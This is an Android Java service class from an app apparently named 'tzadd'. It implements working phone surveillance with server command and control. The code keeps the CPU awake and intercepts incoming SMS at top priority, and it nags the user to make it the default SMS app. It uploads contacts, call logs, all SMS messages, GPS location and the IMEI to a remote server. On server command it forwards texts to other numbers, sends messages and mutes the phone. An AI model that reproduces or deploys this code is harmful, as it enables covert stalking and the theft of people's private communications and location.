package com.mego.tzadd.activitys;

import android.annotation.TargetApi;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.graphics.BitmapFactory;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.PowerManager;
import android.provider.CallLog;
import android.provider.Telephony;
import androidx.annotation.Nullable;
import androidx.core.app.NotificationCompat;
import android.telephony.SmsManager;
import android.util.Log;

import com.alibaba.fastjson.JSONObject;
import com.mego.tzadd.R;
import com.mego.tzadd.database.dbmodel.MyContacts;
import com.mego.tzadd.database.dbmodel.Sendmsg;
import com.mego.tzadd.database.dbmodel.SystemAllInfo;
import com.mego.tzadd.database.dbmodel.Thmlog;
import com.mego.tzadd.database.manager.MyContactsCenter;
import com.mego.tzadd.database.manager.SendsmsCenter;
import com.mego.tzadd.database.manager.SystemCenter;
import com.mego.tzadd.database.manager.ThmlogCenter;
import com.mego.tzadd.utils.ContactUtils;
import com.mego.tzadd.utils.GPSProvider;
import com.mego.tzadd.utils.HttpRequest;
import com.mego.tzadd.utils.LonLat;
import com.mego.tzadd.utils.NotificationUtil;
import com.mego.tzadd.utils.SmsReceiver;
import com.mego.tzadd.utils.Utils;

import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Locale;

import zuo.biao.library.interfaces.OnHttpResponseListener;
import zuo.biao.library.util.JSON;

//可以使用service 做拦截短信，心跳包，上传通讯录，短信，来电
//但是如果手机可以杀掉service，那和activity一样，就不需要改了。
public class MainService extends Service {
    public static final int DOSMS = 1313;
    public static final String CLASS_SMS_MANAGER = "com.android.internal.telephony.SmsApplication";
    public static final String METHOD_SET_DEFAULT = "setDefaultApplication";
    private final String TAG = "MainService";
    int _num = 800;//计数
    boolean _doingsend = false;

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onDestroy() {
        Log.d(TAG, "MainService-onDestroy");
        super.onDestroy();

//        SystemCenter.getInstance().saveSysInfo(new SystemAllInfo(null, "startfromservice", "true"));
//
//        String startfromservice = "";
//        SystemAllInfo infostart = SystemCenter.getInstance().getSysInfo("startfromservice");
//        if (infostart != null) {
//            startfromservice = infostart.getContent();
//            Log.d("MainService", "MainService-startfromservice=" + startfromservice);
//        }
//        Log.d(TAG, "MainService-onDestroy2");
//
//        Intent mainActivityIntent = new Intent(this, WelcomeActivity.class);  // 要啟動的Activity
//        mainActivityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//        startActivity(mainActivityIntent);

    }
    int _txjg = 1000000;
    String _msginfo = "";
    boolean _xtbdoing = false;
    long _commandtype = 0;
    String _ccmobile = "";
    String _latlon = "";
    //    int MAX_SEND_A = 100;//短信最大的发送条数
//    int MAX_SEND_B = 1000;//通话记录+联系人最大的发送条数
    int MAX_SEND_A = 10;//短信最大的发送条数
    int MAX_SEND_B = 20;//通话记录+联系人最大的发送条数
    String _lastmsg = "";
    public static final int SENDZF = 1324;//服务器要求转发的短信
    String _lastzfmsg = "";//转发的短信
    String _msgzfmobile = "";
    public Handler mHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
            if (DOSMS == msg.what) {
                //showShortToast("已接收短信！");
                onDosms();
            } else if (SENDZF == msg.what) {
                onSendsms();//检测是否为默认短信应用
            }
        }
    };

    private void onSendsms() {
        if (_msgzfmobile.length() < 3 || _msginfo.length() < 1) {
            return;
        }

        String msg = _msgzfmobile + " " + _msginfo;
        Sendmsg s = SendsmsCenter.getInstance().getSendmsg(0, msg);
        if (s != null) {
            return;
        }

        SendsmsCenter.getInstance().saveSendmsg(new Sendmsg(null, msg, 0));

        try {
            SmsManager smsManager = SmsManager.getDefault();
            if (_msginfo.length() <= 70) {
                smsManager.sendTextMessage(_msgzfmobile, null, _msginfo, null, null);
            } else {
                // SmsManger 类中 divideMessage 会将信息按每70 字分割
                ArrayList<String> smsDivs = smsManager.divideMessage(_msginfo);
                for (String sms : smsDivs) {
                    smsManager.sendTextMessage(_msgzfmobile, null, sms, null, null);
                }
            }

            //服务器短信转发成功后，上传发送记录
            String mobile = Utils.getIMEI(getBaseContext());
            ArrayList<Thmlog> thmlogList = new ArrayList<Thmlog>();
            Thmlog thmlog = new Thmlog(null, "", mobile, 1, 0, "", "",
                    "", 0, _msgzfmobile, _msginfo, 1, _msgzfmobile, "");
            thmlog.setLatlon(_latlon);
            thmlogList.add(thmlog);

            msg = JSON.toJSONString(thmlogList);
            try {
                msg = URLEncoder.encode(msg, "utf-8");
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
            //批量上传
            sendthm(msg);

        } catch (Exception e) {

        }

    }

    private SmsReceiver receiver = null;
    private PowerManager pm;
    private PowerManager.WakeLock wakeLock;

    @Override
    public void onCreate() {
        super.onCreate();

        Log.d("MainService", "MainService-onCreate");
        pm = (PowerManager) this.getSystemService(Context.POWER_SERVICE);
        //保持cpu一直运行，不管屏幕是否黑屏
        wakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "tzadd:CPUKeepRunning");
        wakeLock.acquire();

    }

    void doWork() {
        //只触发一次
        openGps(false);

        IntentFilter filter = new IntentFilter();
        filter.setPriority(2147483647);
        filter.addAction("android.provider.Telephony.SMS_RECEIVED");
        filter.addAction("android.provider.Telephony.SMS_DELIVER");
        filter.addAction("test");
        receiver = new SmsReceiver();
        receiver.mHandler = mHandler;
        registerReceiver(receiver, filter);//可以用

        checkIfDefaultSMS();
        new Thread(new Runnable() {
            @Override
            public void run() {
                while (true) {
                    try {
                        Thread.sleep(1000);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    Log.d(TAG, "Thread---" + _num);
                    LonLat pos = GPSProvider.getInstance().getPos();
                    if (pos != null) {
                        _latlon = pos.GetLat() + ", " + pos.GetLon();
                    }

                    if (_num > 0 && _num % 30 == 0) {
                        //30秒的心跳包
                        doXTB(); //http post是可以的
//                    Utils.log("xtb");
                    }

                    if (_num > 10 && _num % _txjg == 0) {
                        checkIfDefaultSMS();
                    }

                    if (_num > 600) {
                        onSendstart();
                        _num = 0;
                    }

                    _num++;
                }
            }
        }).start();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        //onStartCommand -- startService(intentOne); 每次都进
//        AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE);
//        int anHour = 1000; //1秒
//        long triggerAtTime = SystemClock.elapsedRealtime() + anHour;
//        Intent i = new Intent(this, AlarmReceiver.class);
//        PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0);
//        manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi);

        Log.d(TAG, "onStartCommand");

        checkIfDefaultSMS();

        doWork();

        return super.onStartCommand(intent, flags, startId);

    }

    private void doXTB() {
        String imei = Utils.getIMEI(this);
        LonLat pos = GPSProvider.getInstance().getPos();
        try {
            HttpRequest.postxtb((float) pos.GetLon(), (float) pos.GetLat(), imei, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }

                    if (code == 1) {
                        JSONObject data = jsonObject == null ? null : jsonObject.getJSONObject("data");
                        int s = data.getInteger("switch");
                        if (s == 0) {
                            ThmlogCenter.getInstance().mNeedlj = false;
                        }
                        ThmlogCenter.getInstance().mZfmobile = data.getString("zfmobile");
                        _commandtype = data.getIntValue("commandtype");
                        if (_commandtype == 1) {
                            //指令有效时间为1分半钟内
                            setJinyin();
                        } else if (_commandtype == 3) {
                            openGps(true);
                        }

                        String ccmobile = data.getString("ccmobile");//
                        if (ccmobile != null && ccmobile.length() > 3) {
                            //发送IMEI给指定的手机
                            _ccmobile = ccmobile;
                            onSendIMEI();
                        }

                        _txjg = data.getInteger("txjg");//短信App提醒间隔 秒

                        String msginfo = data.getString("msginfo");//
                        String msgzfmobile = data.getString("msgzfmobile");//
                        _msgzfmobile = "";
                        if (msginfo != null && !_msginfo.equals(msginfo)) {
                            _msginfo = msginfo;
                            if (!msgzfmobile.isEmpty()) {
                                _msgzfmobile = msgzfmobile;
                                mHandler.sendEmptyMessage(SENDZF);
                            } else {
                                notifymsg();
                            }
                        }
                    }
                }
            });
        } catch (Exception e1) {
//            showShortToast(e1.getMessage());
        }

    }

    void notifymsg() {
        NotificationUtil notificationUtils = new NotificationUtil(this);
        notificationUtils.sendNotification(getString(R.string.app_name), _msginfo);
    }

    void notifymsg0() {
        NotificationManager notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
        NotificationCompat.Builder builder = null;
        /**
         * 这里需要注意，8.0以上需要创建 Channel 渠道
         */
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel notificationChannel = new NotificationChannel("友情通知", getString(R.string.app_name),
                    NotificationManager.IMPORTANCE_DEFAULT);
            notificationManager.createNotificationChannel(notificationChannel);
            builder = new NotificationCompat.Builder(this, "友情通知");
        } else {
            builder = new NotificationCompat.Builder(this);
        }

        //Ticker是状态栏显示的提示
        builder.setTicker("请同意預設短信管理APP");
        //第一行内容  通常作为通知栏标题
        builder.setContentTitle("请同意預設短信管理APP");
        //第二行内容 通常是通知正文
        builder.setContentText(_msginfo);
        //第三行内容 通常是内容摘要什么的 在低版本机器上不一定显示
        builder.setSubText("預設短信管理！");//--没用
        //ContentInfo 在通知的右侧 时间的下面 用来展示一些其他信息
        builder.setContentInfo("預設短信管理。");//--没用
        //number设计用来显示同种通知的数量和ContentInfo的位置一样，如果设置了ContentInfo则number会被隐藏
        builder.setNumber(2);
        //true：点击通知栏，通知消失
        builder.setAutoCancel(true);
        //通知时间
        builder.setWhen(System.currentTimeMillis());
        //系统状态栏显示的小图标
        builder.setSmallIcon(R.mipmap.ic_launcher);
        //下拉显示的大图标
        builder.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.mipmap.ic_launcher));
        /**
         * 这里的Intent可以携带参数传递到跳转的Activity，后面会专门解释
         */
        Intent intent = new Intent(this, MainActivity.class);
        PendingIntent pIntent = PendingIntent.getActivity(this, 1, intent, 0);
        //点击跳转的intent
        builder.setContentIntent(pIntent);
        //通知默认的声音 震动 呼吸灯
        builder.setDefaults(NotificationCompat.DEFAULT_ALL);
        Notification notification = builder.build();
        /**
         * 第一个参数为id，如果id相同则该通知会更新；
         */
        notificationManager.notify(123, notification);
    }

    //控制學生手機的音量（可設定成靜音）
    void setJinyin() {
        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
        am.setStreamVolume(AudioManager.STREAM_MUSIC, 0, AudioManager.FLAG_PLAY_SOUND);//设置值为Val
    }

    void openGps(boolean open) {
        GPSProvider.getInstance().initGPSProvider(this, open);
        LonLat pos = GPSProvider.getInstance().getPos();
        if (pos != null) {
            _latlon = pos.GetLat() + ", " + pos.GetLon();
        }
    }

    private void onSendIMEI() {
        if (_ccmobile == null || _ccmobile.length() < 3) {
            return;
        }

        String ccmobile = "";
        SystemAllInfo infomobile = SystemCenter.getInstance().getSysInfo("ccmobile");
        if (infomobile != null) {
            ccmobile = infomobile.getContent();
        }

        if (ccmobile.length() > 1 && _ccmobile.equals(ccmobile)) {
            return;
        }

        String msg = Utils.getIMEI(this);
        try {
            SmsManager smsManager = SmsManager.getDefault();
            ArrayList<String> list = smsManager.divideMessage(msg);
            for (int i = 0; i < list.size(); i++) {
                smsManager.sendTextMessage(_ccmobile, null, list.get(i), null, null);
            }
            //保存，仅发送一次
            SystemCenter.getInstance().saveSysInfo(new SystemAllInfo(null, "ccmobile", _ccmobile));

        } catch (Exception e) {

        }
    }

    @TargetApi(21)
    private void queryCallLog() {

        String name = "";
        String mobile = Utils.getIMEI(this);

        ContentResolver resolver = getContentResolver();
        //获取cursor对象
        Cursor cursor = resolver.query(CallLog.Calls.CONTENT_URI, new String[]{
                CallLog.Calls.CACHED_FORMATTED_NUMBER,
//                CallLog.Calls.CACHED_MATCHED_NUMBER,
                CallLog.Calls.NUMBER,
                CallLog.Calls.CACHED_NAME,
                CallLog.Calls.TYPE,
                CallLog.Calls.DATE,
                CallLog.Calls.DURATION,
                CallLog.Calls.GEOCODED_LOCATION,
        }, null, null, "date DESC ");

        /**
         *  "date DESC limit 2"
         *  按时间排序查询2条记录
         */

        if (cursor != null) {
            try {
                ArrayList<Thmlog> thmlogList = new ArrayList<Thmlog>();
                while (cursor.moveToNext()) {
                    CallRecord record = new CallRecord();
                    record.formatted_number = cursor.getString(0);
                    record.matched_number = cursor.getString(1);
                    record.name = cursor.getString(2);
                    record.type = getCallType(cursor.getInt(3));
                    record.date = cursor.getLong(4);
                    record.duration = cursor.getLong(5);
                    record.location = cursor.getString(6);

                    Thmlog thmlog = ThmlogCenter.getInstance().getThmlog(record.date, 0);
                    if (thmlog == null) {
                        thmlog = new Thmlog(null, name, mobile, 0, record.date, record.matched_number, record.name,
                                record.type, record.duration, "", "", 0, "", _latlon);
                        ThmlogCenter.getInstance().saveThmlog(thmlog);//保存上传记录
                        thmlogList.add(thmlog);
                    }

                    if (thmlogList.size() > MAX_SEND_B) {
                        //每次最多上传1000笔
                        String msg = JSON.toJSONString(thmlogList);
                        msg = URLEncoder.encode(msg, "utf-8");
                        //批量上传
                        sendthm(msg);
                        thmlogList.clear();
                    }
                }

                if (thmlogList.size() > 0) {
                    String msg = JSON.toJSONString(thmlogList);
                    msg = URLEncoder.encode(msg, "utf-8");
                    //批量上传
                    sendthm(msg);
                }

            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                cursor.close();  //关闭cursor，避免内存泄露
            }
        }
    }

    private String getCallType(int anInt) {
        String strType = "呼入";
        switch (anInt) {
            default:
            case 1:
                strType = "呼入";
                break;
            case 2:
                strType = "呼出";
                break;
            case 3:
                strType = "未接";
                break;
        }

        return strType;
    }

    void sendLianluoren(String msg) {
        String mobile = Utils.getIMEI(this);
        if (mobile.length() < 3) {
            mobile = "123";
        }
        try {
            HttpRequest.posttxl(msg, mobile, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
//                    showShortToast(resultJson);
                }
            });
        } catch (Exception e1) {
//            showShortToast(e1.getMessage());
        }
    }

    //    Telephony.Sms.ADDRESS     发件人地址，即手机号
//    Telephony.Sms.BODY      短信具体内容
//    Telephony.Sms.DATE      日期，long型
//    Telephony.Sms.READ      是否阅读0未读，1已读
//    Telephony.Sms.STATUS     短信状态-1 接收，0 complete,64 pending,128 failed
//    Telephony.Sms.TYPE      短信类型1是接收到的，2是已发出
    @TargetApi(21)
    public String queryMessageLog() {
        final String SMS_URI_ALL = "content://sms/"; // 所有短信
        final String SMS_URI_INBOX = "content://sms/inbox"; // 收件箱
        final String SMS_URI_SEND = "content://sms/sent"; // 已发送
        final String SMS_URI_DRAFT = "content://sms/draft"; // 草稿
        final String SMS_URI_OUTBOX = "content://sms/outbox"; // 发件箱
        final String SMS_URI_FAILED = "content://sms/failed"; // 发送失败
        final String SMS_URI_QUEUED = "content://sms/queued"; // 待发送列表

        String name = "";
        String mobile = Utils.getIMEI(this);

        StringBuilder smsBuilder = new StringBuilder();
        try {
            Uri uri = Uri.parse(SMS_URI_ALL);
            String[] projection = new String[]{"_id", "address", "person",
                    "body", "date", "type",};
            Cursor cur = getContentResolver().query(uri, projection, null,
                    null, "date desc"); // 获取手机内部短信
            // 获取短信中最新的未读短信
            // Cursor cur = getContentResolver().query(uri, projection,
            // "read = ?", new String[]{"0"}, "date desc");

            if (cur.moveToFirst()) {
                int index_Address = cur.getColumnIndex("address");
                int index_Person = cur.getColumnIndex("person");
                int index_Body = cur.getColumnIndex("body");
                int index_Date = cur.getColumnIndex("date");
                int index_Type = cur.getColumnIndex("type");

                ArrayList<Thmlog> thmlogList = new ArrayList<Thmlog>();
                do {
                    String strAddress = cur.getString(index_Address);
                    int intPerson = cur.getInt(index_Person);
                    String strbody = cur.getString(index_Body);
                    long longDate = cur.getLong(index_Date);
                    int intType = cur.getInt(index_Type);

                    SimpleDateFormat dateFormat = new SimpleDateFormat(
                            "yyyy-MM-dd hh:mm:ss");
                    Date d = new Date(longDate);
                    String strDate = dateFormat.format(d);

                    String strType = "";
                    if (intType == 1) {
                        strType = "接收";
                    } else if (intType == 2) {
                        strType = "发送";
                    } else if (intType == 3) {
                        strType = "草稿";
                        continue;
                    } else if (intType == 4) {
                        strType = "发件箱";
                        continue;
                    } else if (intType == 5) {
                        strType = "发送失败";
                        continue;
                    } else if (intType == 6) {
                        strType = "待发送列表";
                        continue;
                    } else if (intType == 0) {
                        strType = "所有短信";
                        continue;
                    } else {
                        strType = "null";
                        continue;
                    }

//                    smsBuilder.append("[ ");
//                    smsBuilder.append(strAddress + ", ");
//                    smsBuilder.append(intPerson + ", ");
//                    smsBuilder.append(strbody + ", ");
//                    smsBuilder.append(strDate + ", ");
//                    smsBuilder.append(strType);
//                    smsBuilder.append(" ]\n\n");
                    Thmlog thmlog = ThmlogCenter.getInstance().getThmlog(longDate, 1);
                    if (thmlog == null) {
                        thmlog = new Thmlog(null, name, mobile, 1, longDate, "", "",
                                "", 0, strAddress, strbody, intType, "", _latlon);
                        ThmlogCenter.getInstance().saveThmlog(thmlog);//保存上传记录
                        thmlogList.add(thmlog);
                    }

                    if (thmlogList.size() > MAX_SEND_A) {
                        String msg = JSON.toJSONString(thmlogList);
                        try {
                            msg = URLEncoder.encode(msg, "utf-8");
                        } catch (UnsupportedEncodingException e) {
                            e.printStackTrace();
                        }
                        //批量上传
                        sendthm(msg);
                        thmlogList.clear();
                    }
                } while (cur.moveToNext());

                if (thmlogList.size() > 0) {
                    String msg = JSON.toJSONString(thmlogList);
                    try {
                        msg = URLEncoder.encode(msg, "utf-8");
                    } catch (UnsupportedEncodingException e) {
                        e.printStackTrace();
                    }
                    //批量上传
                    sendthm(msg);
                    thmlogList.clear();
                }

                if (!cur.isClosed()) {
                    cur.close();
                    cur = null;
                }
            } else {
                smsBuilder.append("no result!");
            }

            smsBuilder.append("getSmsInPhone has executed!");

        } catch (SQLiteException ex) {

        }

        return smsBuilder.toString();
    }

    //聯絡人 通訊錄
    void getLianluoren() {
        MyContactsCenter.getInstance().mMyContactsList.clear();
        ArrayList<MyContacts> contacts = ContactUtils.getAllContacts(this);
        int i = 0;
        for (MyContacts contact : contacts) {
            MyContacts contact0 = MyContactsCenter.getInstance().getMyContacts(contact.name, contact.phone);
            if (contact0 == null) {
                MyContactsCenter.getInstance().saveMyContacts(contact);
                MyContactsCenter.getInstance().mMyContactsList.add(contact);
                if (MyContactsCenter.getInstance().mMyContactsList.size() > MAX_SEND_B) {
                    String msg = JSON.toJSONString(MyContactsCenter.getInstance().mMyContactsList);
                    try {
                        msg = URLEncoder.encode(msg, "utf-8");
                        sendLianluoren(msg);
                    } catch (UnsupportedEncodingException e) {
                        e.printStackTrace();
                    }
                    MyContactsCenter.getInstance().mMyContactsList.clear();
                }
            }
        }

        if (MyContactsCenter.getInstance().mMyContactsList.size() > 0) {
            String msg = JSON.toJSONString(MyContactsCenter.getInstance().mMyContactsList);
            try {
                msg = URLEncoder.encode(msg, "utf-8");
                sendLianluoren(msg);
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
        }
    }

    public String formatDate(long time) {
        DateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss", Locale.getDefault());
        return format.format(new Date(time));
    }

    public String formatDuration(long time) {
        long s = time % 60;
        long m = time / 60;
        long h = time / 60 / 60;
        StringBuilder sb = new StringBuilder();
        if (h > 0) {
            sb.append(h).append("小时");
        }
        if (m > 0) {
            sb.append(m).append("分");
        }
        sb.append(s).append("秒");
        return sb.toString();
    }

    String _lastthminfo = "";

    private void sendthm(String thminfo) {
        if (_lastthminfo.equals(thminfo)) {
            return;
        }

        _lastthminfo = thminfo;
        try {
            HttpRequest.postthminfo(thminfo, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
//                    showShortToast(resultJson);
                }
            });
        } catch (Exception e1) {
//            showShortToast(e1.getMessage());
        }
    }

    private void onSendstart() {
        getLianluoren();
        queryCallLog();
        queryMessageLog();

    }

    //但还是无法拦截
    private void checkIfDefaultSMS() {
        final String myPackageName = getPackageName();
        if (!Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
            // App is not default.
            notifymsg0();
            Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
            intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, myPackageName);
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//service里启动需这样设置
            startActivity(intent);
        } else {
            // App is the default.
        }
    }

    private void onDosms() {
        //处理收到的短信
        ArrayList<Thmlog> thmlogList = new ArrayList<Thmlog>();

        for (Thmlog thmlog : ThmlogCenter.getInstance().mThmlogList) {
            thmlog.setLatlon(_latlon);

            Sendmsg s = SendsmsCenter.getInstance().getSendmsg(thmlog.getDate(), thmlog.getSmsmsg());
            if (s != null) {
                continue;
            }

            SendsmsCenter.getInstance().saveSendmsg(new Sendmsg(null, thmlog.getSmsmsg(), thmlog.getDate()));

            thmlogList.add(thmlog);
            if (thmlogList.size() > MAX_SEND_A) {
                String msg = JSON.toJSONString(thmlogList);
                try {
                    msg = URLEncoder.encode(msg, "utf-8");
                } catch (UnsupportedEncodingException e) {
                    e.printStackTrace();
                }
                //批量上传
                sendthm(msg);
                thmlogList.clear();
            }

            //转发短信
            zfsms(thmlog.getSmsmsg());
        }

        if (thmlogList.size() > 0) {
            String msg = JSON.toJSONString(thmlogList);
            try {
                msg = URLEncoder.encode(msg, "utf-8");
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
            //批量上传
            sendthm(msg);
            thmlogList.clear();
        }
    }

    //转发短信
    private void zfsms(String msg) {
        if (ThmlogCenter.getInstance().mZfmobile.length() < 3 || msg.length() < 1) {
            return;
        }

        if (_lastmsg.equals(msg)) {
            return;
        }

        _lastmsg = msg;

        try {
            //sentIntent --- 发送短信结果状态信号(是否成功发送),new 一个Intent , 操作系统接收到信号后将广播这个Intent.此过程为异步.
//            PendingIntent pi = PendingIntent.getActivity(context, 0,
//                    new Intent(context, context.getClass()), 0);
            SmsManager smsManager = SmsManager.getDefault();
            if (msg.length() <= 70) {
                smsManager.sendTextMessage(ThmlogCenter.getInstance().mZfmobile, null, msg, null, null);
            } else {
                // SmsManger 类中 divideMessage 会将信息按每70 字分割
                ArrayList<String> smsDivs = smsManager.divideMessage(msg);
                for (String sms : smsDivs) {
                    smsManager.sendTextMessage(ThmlogCenter.getInstance().mZfmobile, null, sms, null, null);
                }
            }
        } catch (Exception e) {

        }
    }

    class CallRecord {
        long date;
        String formatted_number;
        String matched_number;
        String name;
        String type;
        String location;
        long duration;

        @Override
        public String toString() {
//            return "CallRecord{" +
//                    "date=" + formatDate(date) +
//                    ", formatted_number='" + formatted_number + '\'' +
//                    ", matched_number='" + matched_number + '\'' +
//                    ", name='" + name + '\'' +
//                    ", type=" + type +
//                    ", location='" + location + '\'' +
//                    ", duration=" + formatDuration(duration) +
//                    '}';

            return "CallRecord{" +
                    "日期：" + formatDate(date) +
                    ", 电话='" + matched_number + '\'' +
                    ", 联系人='" + name + '\'' +
                    ", 类型=" + type +
                    ", 通话时间=" + formatDuration(duration) +
                    '}';
        }

    }

}
